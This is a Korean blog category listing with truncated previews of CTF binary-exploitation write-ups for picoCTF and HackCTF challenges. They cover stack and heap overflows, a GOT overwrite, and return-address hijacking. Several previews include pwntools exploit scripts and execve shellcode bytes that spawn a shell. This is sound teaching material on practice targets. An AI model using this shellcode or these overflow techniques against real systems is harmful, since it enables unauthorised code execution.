목록overflow (18)
ii4gsp
64bit 바이너리이다. main()함수에서 vuln()함수를 호출한다. vuln()함수에서 gets()함수로 v1에 입력을받는다. v1은 rbp-40에 위치한다. v1 ~ sfp = 64 v1 ~ ret = 72 72byte dummy를 주고 ret를 flag()함수로 조작해주면 된다. from pwn import * s = ssh(host = '2019shell1.picoctf.com', user = '', password = '') s.set_working_directory('/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4') p = s.process('./vuln') e = ELF('/home/ii4gsp/picoCTF/vuln') flag..
보호되어 있는 글입니다.
다운 ㄱㄱ 1을 입력하면 edit_note()함수가 실행되고, 2를 입력하면 edit_desc()함수가 실행된다. edit_note()함수에서 할당 크기를 물어보고 read()함수로 전역변수 buf에 문자열을 입력받는다. strncpy()함수로 전역변수 buf에 입력받은 내용을 전역변수 s에 복사를 한다. 메모리를 보면 전역변수 s와 buf의 거리는 32byte차이가 난다. s를 오버플로우 일으켜 buf를 printf()함수의 GOT로 변조하면 된다. win()함수는 flag를 출력한다. edit_desc()함수는 buf가 0이면 0x20만큼 할당하고 0x20만큼 문자열을 입력받는다. 0x20은 32이다. edit_note()함수에서 buf를 printf()함수의 GOT로 조작하고 edit_desc()함..
Heap Overflow 문제이다. 파일을 다운받아 주자. v3, v4에 각각 0x10 즉, 16byte만큼 할당되었다. v3 + 1, v4 + 1에 8byte를 또 할당한다. 그리고 fgets()함수로 4096byte만큼 입력을받고 strcpy()함수로 v3 + 1, v4 + 1에 복사를한다. 0x400826()함수는 flag를 출력해준다. v3 + 1에 heap overflow를 일으키고 v4 + 1에 exit의 got를 0x400826()함수로 덮어주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('/home/ii4gsp/HackCTF/beginner_heap.bin') payload1 = '' payload1..
파일을 다운받아 주자. IDA로 열어보면 main()함수에서 welcome()함수를 호출한다. welcome()함수에서는 welcome의 주소를 출력해주고 scanf()함수로 v1에 입력을 받는다. scanf()함수에서 취약점이 발생한다. v1 ~ sfp = 22이다. j0n9hyun()함수에서 flag를 출력해준다. welcome()함수의 ret를 j0n9hyun()함수로 조작해주면 된다. welcome() offset = 0x909 j0n9hyun() offset = 0x890 0x909 - 0x890 = 0x79 welcome()함수와 j0n9hyun()함수는 0x79만큼 떨어져 있다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3008) r.recvun..
파일을 다운받아 주자. IDA로 열어보면 Data를 입력받고 입력받은곳의 주소를 출력해준다. y나 Y를 입력하면 무한루프를 돌 수 있다. s ~ sfp는 140이다. s에 쉘 코드를 넣고 ret를 s의 주소로 해주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Data : ') r.sendline('asd') buffer = int(r.recv(10), 16) r.recvuntil('Again (y/n): ') r.se..
파일을 다운받아 주자. IDA로 열어보면 버퍼를 0x6D30만큼 할당한다. 즉, 10진수로 27,952만큼 할당한다. printf()함수로 버퍼의 주소를 출력한다. gets()함수로 길이 제한없이 버퍼를 입력받는다. gets()함수에서 취약점이 발생한다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' r.recvuntil(': ') buffer = int(r.recv(14), 16) payload = '' payload += shellcode payload += '..
#include char name[50]; int main(){ setvbuf(stdout,0,2,0); printf("Name:"); read(0,name,50); char buf[20]; printf("Try your best:"); gets(buf); return ; } 문제 소스코드를 보면 gets()함수에서 취약점이 발생한다. gdb로 파일을 열고 disas main해보면 부분을 보면 read함수를 호출하기전에 값을 복사하는 것을 볼 수 있다. name의 주소는 0x804a060이다. main()에서 선언해준 buf는 20byte 선언하였지만 dummy 8byte가 생성되었다. name에 shellcode를 넣고 gets()함수를 통해 buf ~ sfp = 32 32byte를 덮고 ret를 na..